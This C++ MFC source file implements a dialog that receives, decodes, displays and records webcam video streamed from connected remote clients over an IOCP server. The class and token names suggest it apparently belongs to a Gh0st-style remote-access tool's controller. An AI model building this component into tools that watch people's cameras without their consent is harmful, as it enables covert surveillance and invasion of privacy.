421 lines
10 KiB
C++
421 lines
10 KiB
C++
// VideoDlg.cpp : 实现文件
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "HP_Star.h"
|
||
#include "VideoDlg.h"
|
||
#include "afxdialogex.h"
|
||
|
||
|
||
// CVideoDlg 对话框
|
||
|
||
IMPLEMENT_DYNAMIC(CVideoDlg, CDialog)
|
||
|
||
|
||
enum
|
||
{
|
||
IDM_ENABLECOMPRESS = 0x0010, // 视频压缩
|
||
IDM_SAVEDIB, // 保存快照
|
||
IDM_SAVEAVI, // 保存录像
|
||
IDM_SIZE_176_144, // 视频分辨率, H263只支持这两种
|
||
IDM_SIZE_352_288
|
||
};
|
||
CVideoDlg::CVideoDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||
: CDialog(CVideoDlg::IDD, pParent)
|
||
{
|
||
m_iocpServer = pIOCPServer;
|
||
m_pContext = pContext;
|
||
// m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_CAMERA));
|
||
m_nCount = 0;
|
||
m_lpbmi = NULL;
|
||
m_lpScreenDIB = NULL;
|
||
m_lpCompressDIB = NULL;
|
||
//m_pVideoCodec = NULL;
|
||
m_fccHandler=1129730893; //Microsoft Video 1
|
||
sockaddr_in sockAddr;
|
||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||
int nSockAddrLen = sizeof(sockAddr);
|
||
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
||
|
||
m_nOldWidth = 0;
|
||
m_nCount = 0;
|
||
m_pVideoCodec=new CVideoCodec;
|
||
ResetScreen();
|
||
}
|
||
|
||
CVideoDlg::~CVideoDlg()
|
||
{
|
||
}
|
||
|
||
void CVideoDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
CDialog::DoDataExchange(pDX);
|
||
}
|
||
|
||
|
||
BEGIN_MESSAGE_MAP(CVideoDlg, CDialog)
|
||
ON_WM_CLOSE()
|
||
ON_WM_PAINT()
|
||
ON_WM_GETMINMAXINFO()
|
||
ON_WM_SYSCOMMAND()
|
||
END_MESSAGE_MAP()
|
||
|
||
|
||
// CVideoDlg 消息处理程序
|
||
|
||
|
||
void CVideoDlg::ResetScreen(void)
|
||
{
|
||
if (m_lpbmi)
|
||
{
|
||
delete m_lpbmi;
|
||
m_lpbmi = NULL;
|
||
}
|
||
if (m_lpScreenDIB)
|
||
{
|
||
delete m_lpScreenDIB;
|
||
m_lpScreenDIB = NULL;
|
||
}
|
||
if (m_lpCompressDIB)
|
||
{
|
||
delete m_lpCompressDIB;
|
||
m_lpCompressDIB = NULL;
|
||
}
|
||
|
||
/*if (m_pVideoCodec)
|
||
{
|
||
delete m_pVideoCodec;
|
||
m_pVideoCodec = NULL;
|
||
}*/
|
||
|
||
int nBmiSize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
|
||
m_lpbmi = (LPBITMAPINFO) new BYTE[nBmiSize];
|
||
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBmiSize);
|
||
|
||
m_lpScreenDIB = new BYTE[m_lpbmi->bmiHeader.biSizeImage];
|
||
m_lpCompressDIB = new BYTE[m_lpbmi->bmiHeader.biSizeImage];
|
||
|
||
m_pVideoCodec->InitCompressor(m_lpbmi, m_fccHandler);
|
||
memset(&m_MMI, 0, sizeof(MINMAXINFO));
|
||
//if (IsWindowVisible())
|
||
//InitMMI();
|
||
}
|
||
|
||
|
||
void CVideoDlg::InitMMI(void)
|
||
{
|
||
RECT rectClient, rectWindow;
|
||
GetWindowRect(&rectWindow);
|
||
GetClientRect(&rectClient);
|
||
ClientToScreen(&rectClient);
|
||
// 边框的宽度
|
||
int nBorderWidth = rectClient.left - rectWindow.left;
|
||
|
||
rectWindow.right = rectClient.left + nBorderWidth + m_lpbmi->bmiHeader.biWidth;
|
||
rectWindow.bottom = rectClient.top + nBorderWidth + m_lpbmi->bmiHeader.biHeight;
|
||
|
||
// 调整窗口到远程大小
|
||
MoveWindow(&rectWindow);
|
||
|
||
int nTitleWidth = rectClient.top - rectWindow.top; // 标题栏的高度
|
||
int nWidthAdd = nBorderWidth * 2;
|
||
int nHeightAdd = nTitleWidth + nBorderWidth;
|
||
|
||
int nMaxWidth = GetSystemMetrics(SM_CXSCREEN);
|
||
int nMaxHeight = GetSystemMetrics(SM_CYSCREEN);
|
||
// 最小的Track尺寸
|
||
m_MMI.ptMinTrackSize.x = m_lpbmi->bmiHeader.biWidth + nWidthAdd;
|
||
m_MMI.ptMinTrackSize.y = m_lpbmi->bmiHeader.biHeight + nHeightAdd;
|
||
|
||
|
||
// 最大化时窗口的位置
|
||
m_MMI.ptMaxPosition.x = 1;
|
||
m_MMI.ptMaxPosition.y = 1;
|
||
// 窗口最大尺寸
|
||
m_MMI.ptMaxSize.x = nMaxWidth;
|
||
m_MMI.ptMaxSize.y = nMaxHeight;
|
||
|
||
// 最大的Track尺寸也要改变
|
||
m_MMI.ptMaxTrackSize.x = nMaxWidth;
|
||
m_MMI.ptMaxTrackSize.y = nMaxHeight;
|
||
}
|
||
|
||
|
||
void CVideoDlg::OnClose()
|
||
{
|
||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||
if (m_lpScreenDIB==NULL)
|
||
{
|
||
CDialog::OnClose();
|
||
}
|
||
if (!m_aviFile.IsEmpty())
|
||
SaveAvi();
|
||
|
||
|
||
::ReleaseDC(m_hWnd, m_hDC);
|
||
DrawDibClose(m_hDD);
|
||
|
||
m_pContext->m_Dialog[0] = 0;
|
||
closesocket(m_pContext->m_Socket);
|
||
|
||
if (m_lpbmi!=NULL){
|
||
delete [] m_lpbmi;
|
||
m_lpbmi=NULL;
|
||
}
|
||
if (m_lpScreenDIB)
|
||
{
|
||
delete [] m_lpScreenDIB;
|
||
m_lpScreenDIB=NULL;
|
||
}
|
||
if (m_lpCompressDIB){
|
||
delete [] m_lpCompressDIB;
|
||
m_lpCompressDIB=NULL;
|
||
}
|
||
if (m_pVideoCodec)
|
||
{
|
||
delete m_pVideoCodec;
|
||
m_pVideoCodec=NULL;
|
||
}
|
||
|
||
CDialog::OnClose();
|
||
}
|
||
|
||
|
||
void CVideoDlg::OnPaint()
|
||
{
|
||
CPaintDC dc(this); // device context for painting
|
||
// TODO: 在此处添加消息处理程序代码
|
||
// 不为绘图消息调用 CDialog::OnPaint()
|
||
if (m_lpScreenDIB==NULL)
|
||
{
|
||
return;
|
||
}
|
||
RECT rect;
|
||
GetClientRect(&rect);
|
||
|
||
DrawDibDraw
|
||
(
|
||
m_hDD,
|
||
m_hDC,
|
||
0, 0,
|
||
rect.right, rect.bottom,
|
||
(LPBITMAPINFOHEADER)m_lpbmi,
|
||
m_lpScreenDIB,
|
||
0, 0,
|
||
m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight,
|
||
DDF_SAME_HDC
|
||
);
|
||
|
||
LPCTSTR lpTipsString = "Recording ...";
|
||
// 写入录像文件
|
||
if (!m_aviFile.IsEmpty())
|
||
{
|
||
m_aviStream.Write(m_lpScreenDIB);
|
||
// 提示正在录像
|
||
SetBkMode(m_hDC, TRANSPARENT);
|
||
SetTextColor(m_hDC, RGB(0xff,0x00,0x00));
|
||
TextOut(m_hDC, 0, 0, lpTipsString, lstrlen(lpTipsString));
|
||
}
|
||
}
|
||
|
||
|
||
void CVideoDlg::OnGetMinMaxInfo(MINMAXINFO* lpMMI)
|
||
{
|
||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||
if (m_MMI.ptMaxSize.x > 0)
|
||
memcpy((void *)lpMMI, &m_MMI, sizeof(MINMAXINFO));
|
||
|
||
return ;
|
||
CDialog::OnGetMinMaxInfo(lpMMI);
|
||
}
|
||
|
||
|
||
void CVideoDlg::OnReceiveComplete(void)
|
||
{
|
||
m_nCount++;
|
||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||
{
|
||
case TOKEN_WEBCAM_DIB:
|
||
DrawDIB(); //这里是绘图函数，转到他的代码看一下
|
||
break;
|
||
case TOKEN_WEBCAM_BITMAPINFO: // 视频大小调整成功
|
||
ResetScreen();
|
||
break;
|
||
default:
|
||
// 传输发生异常数据
|
||
//SendException();
|
||
break;
|
||
}
|
||
}
|
||
|
||
|
||
void CVideoDlg::DrawDIB(void)
|
||
{
|
||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||
if (pSysMenu == NULL)
|
||
return;
|
||
// token + IsCompress + m_fccHandler + DIB
|
||
int nHeadLen = 1 + 1 + 4;
|
||
|
||
LPBYTE lpBuffer = m_pContext->m_DeCompressionBuffer.GetBuffer();
|
||
UINT nBufferLen = m_pContext->m_DeCompressionBuffer.GetBufferLen();
|
||
if (lpBuffer[1] == 0) // 没有经过H263压缩的原始数据，不需要解码
|
||
{
|
||
// 第一次，没有压缩，说明服务端不支持指定的解码器
|
||
if (m_nCount == 1)
|
||
{
|
||
pSysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||
}
|
||
pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED);
|
||
memcpy(m_lpScreenDIB, lpBuffer + nHeadLen, nBufferLen - nHeadLen);
|
||
}
|
||
else // 解码
|
||
{
|
||
////这里缓冲区里的的第二个字符正好是是否视频解码
|
||
InitCodec(*(LPDWORD)(lpBuffer + 2));
|
||
if (m_pVideoCodec != NULL)
|
||
{
|
||
pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED);
|
||
memcpy(m_lpCompressDIB, lpBuffer + nHeadLen, nBufferLen - nHeadLen);
|
||
//这里开始解码，解码后就是同未压缩的一样了 显示到对话框上。 接下来开始视频保存成avi格式
|
||
m_pVideoCodec->DecodeVideoData(m_lpCompressDIB, nBufferLen - nHeadLen,
|
||
(LPBYTE)m_lpScreenDIB, NULL, NULL);
|
||
}
|
||
}
|
||
//OnPaint();
|
||
PostMessage(WM_PAINT);
|
||
|
||
}
|
||
|
||
|
||
BOOL CVideoDlg::OnInitDialog()
|
||
{
|
||
CDialog::OnInitDialog();
|
||
|
||
// TODO: 在此添加额外的初始化
|
||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||
if (pSysMenu != NULL)
|
||
{
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_ENABLECOMPRESS, "视频压缩(&C)");
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)");
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, "保存录像(&V)");
|
||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_SIZE_176_144, "176 * 144");
|
||
pSysMenu->AppendMenu(MF_STRING, IDM_SIZE_352_288, "352 * 288");
|
||
|
||
// 不支持固定的大小，说明远程视频有固定的大小，调整命令失效
|
||
if ((m_lpbmi->bmiHeader.biWidth != 352 && m_lpbmi->bmiHeader.biWidth != 288)
|
||
&& (m_lpbmi->bmiHeader.biWidth != 176 && m_lpbmi->bmiHeader.biWidth != 144))
|
||
{
|
||
pSysMenu->EnableMenuItem(IDM_SIZE_176_144, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||
pSysMenu->EnableMenuItem(IDM_SIZE_352_288, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||
}
|
||
else
|
||
pSysMenu->CheckMenuRadioItem(IDM_SIZE_176_144, IDM_SIZE_352_288, IDM_SIZE_352_288, MF_BYCOMMAND);
|
||
|
||
}
|
||
|
||
CString str;
|
||
str.Format("\\\\%s %d * %d", m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight);
|
||
SetWindowText(str);
|
||
// 初始化窗口大小结构
|
||
InitMMI();
|
||
|
||
m_hDD = DrawDibOpen();
|
||
m_hDC = ::GetDC(m_hWnd);
|
||
|
||
// 通知远程控制端对话框已经打开
|
||
BYTE bToken = COMMAND_NEXT;
|
||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||
return TRUE; // return TRUE unless you set the focus to a control
|
||
// 异常: OCX 属性页应返回 FALSE
|
||
}
|
||
|
||
|
||
void CVideoDlg::InitCodec(DWORD fccHandler)
|
||
{
|
||
if (m_pVideoCodec != NULL)
|
||
return;
|
||
|
||
m_pVideoCodec = new CVideoCodec;
|
||
//同样的m_pVideoCodec 是CVideoCodec类的对象
|
||
//回到DrawDIB
|
||
if (!m_pVideoCodec->InitCompressor(m_lpbmi, fccHandler))
|
||
{
|
||
delete m_pVideoCodec;
|
||
// 置NULL, 发送时判断是否为NULL来判断是否压缩
|
||
m_pVideoCodec = NULL;
|
||
// 通知服务端不启用压缩
|
||
BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
|
||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||
GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||
}
|
||
}
|
||
|
||
|
||
void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||
{
|
||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||
switch (nID)
|
||
{
|
||
case IDM_ENABLECOMPRESS:
|
||
{
|
||
bool bIsChecked = pSysMenu->GetMenuState(IDM_ENABLECOMPRESS, MF_BYCOMMAND) & MF_CHECKED;
|
||
pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||
bIsChecked = !bIsChecked;
|
||
BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS;
|
||
if (!bIsChecked)
|
||
bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
|
||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||
}
|
||
break;
|
||
case IDM_SAVEAVI:
|
||
SaveAvi();
|
||
break;
|
||
case IDM_SIZE_176_144:
|
||
{
|
||
//if (SendResetScreen(176, 144))
|
||
pSysMenu->CheckMenuRadioItem(IDM_SIZE_176_144, IDM_SIZE_352_288, IDM_SIZE_176_144, MF_BYCOMMAND);
|
||
}
|
||
break;
|
||
case IDM_SIZE_352_288:
|
||
{
|
||
//if (SendResetScreen(352, 288))
|
||
pSysMenu->CheckMenuRadioItem(IDM_SIZE_176_144, IDM_SIZE_352_288, IDM_SIZE_352_288, MF_BYCOMMAND);
|
||
}
|
||
break;
|
||
default:
|
||
CDialog::OnSysCommand(nID, lParam);
|
||
}
|
||
CDialog::OnSysCommand(nID, lParam);
|
||
}
|
||
|
||
|
||
void CVideoDlg::SaveAvi(void)
|
||
{
|
||
CMenu *pSysMenu = GetSystemMenu(FALSE);
|
||
if (pSysMenu->GetMenuState(IDM_SAVEAVI, MF_BYCOMMAND) & MF_CHECKED)
|
||
{
|
||
pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_UNCHECKED);
|
||
m_aviFile = "";
|
||
m_aviStream.Close();
|
||
return;
|
||
}
|
||
|
||
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.avi");
|
||
CFileDialog dlg(FALSE, "avi", strFileName, OFN_OVERWRITEPROMPT, "视频文件(*.avi)|*.avi|", this);
|
||
if(dlg.DoModal () != IDOK)
|
||
return;
|
||
m_aviFile = dlg.GetPathName();
|
||
if (!m_aviStream.Open(m_aviFile, m_lpbmi))
|
||
{
|
||
m_aviFile = "";
|
||
MessageBox("创建录像文件失败");
|
||
}
|
||
else
|
||
{
|
||
pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_CHECKED);
|
||
}
|
||
} |